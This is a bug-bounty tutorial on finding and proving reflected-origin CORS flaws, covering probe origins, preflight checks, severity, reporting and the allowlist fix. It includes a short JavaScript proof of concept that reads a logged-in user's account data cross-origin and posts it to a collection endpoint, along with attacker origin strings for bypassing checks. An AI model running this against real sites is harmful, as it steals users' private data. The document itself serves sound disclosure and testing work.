Reflected Origin CORS Bugs: How to Prove Credentialed Data Theft
Send Origin: https://attacker.example; the API sends the same value back. That reflection becomes exploitable when credentials are allowed and the endpoint returns something worth reading.
Plenty of scanners stop after matching the string. Don't. CORS is enforced by the browser, and a report should demonstrate the browser handing private response data to attacker-controlled JavaScript.
Three requests tell you a lot
First, replay a sensitive authenticated endpoint with a random HTTPS origin. Check for exact reflection and Access-Control-Allow-Credentials: true.
Second, try close-but-untrusted origins:
https://trusted.example.attacker.tldhttps://trustedexamplehttps://attacker.tld?trusted.example- A sibling subdomain you control through the program
- Mixed ports and schemes
This reveals whether the back end uses substring matching, a loose regular expression, or unconditional reflection. Third, send a preflight OPTIONS request if the real call uses JSON, authorization headers, or non-simple methods. The exploit dies if OPTIONS rejects the attacker's origin or headers.
Build the proof around actual authentication
From your domain, run:
fetch("https://api.target.example/account", { credentials: "include" })
.then(r => r.text())
.then(data => fetch("/collect", { method: "POST", body: data }));
Open the page while logged into your test account. Modern third-party cookie restrictions can block cross-site cookies even when the CORS headers are weak. Test in a browser configuration representative of users and document it. A same-site sibling takeover can bypass some third-party-cookie limits because the request remains within the site boundary.
Token-based SPAs need special care. CORS does not let your page read localStorage on the target origin. If the application manually adds a bearer token, your foreign page cannot copy it unless another bug supplies the token. Cookie-authenticated endpoints are the cleanest targets.
Severity lives in the response
Reading a public status endpoint is Informational at best. Reading email, addresses, invoices, API keys, support tickets, or CSRF tokens is a real confidentiality breach. If a readable CSRF token enables an account change, show the chain with two accounts and a disposable value.
Origin validation bugs also appear on error routes. A 500 response with credentials and reflected ACAO might leak internal traces or identifiers even when successful responses use a fixed allowlist. Test success and failure states without causing disruption.
Also repeat the test after logout. That quick control separates private account data from a public response that merely looks personal in your browser cache.
Your report should include the request Origin, response CORS headers, cookie SameSite attributes, exploit HTML, and the exact redacted field recovered. Mention browser/version. Avoid claiming “full account takeover” when the PoC reads only a display name.
The repair is exact origin comparison against a server-owned allowlist, including scheme and port. Never reflect first and validate later. Restrict credentials to endpoints that need them, set Vary: Origin, and keep normal authorization checks. OWASP discusses Origin header scrutiny; PortSwigger's CORS labs cover reflected policies and trusted-subdomain pivots. CWE-942 is the useful classification. A 15-line browser PoC will persuade triage faster than a page of scanner output.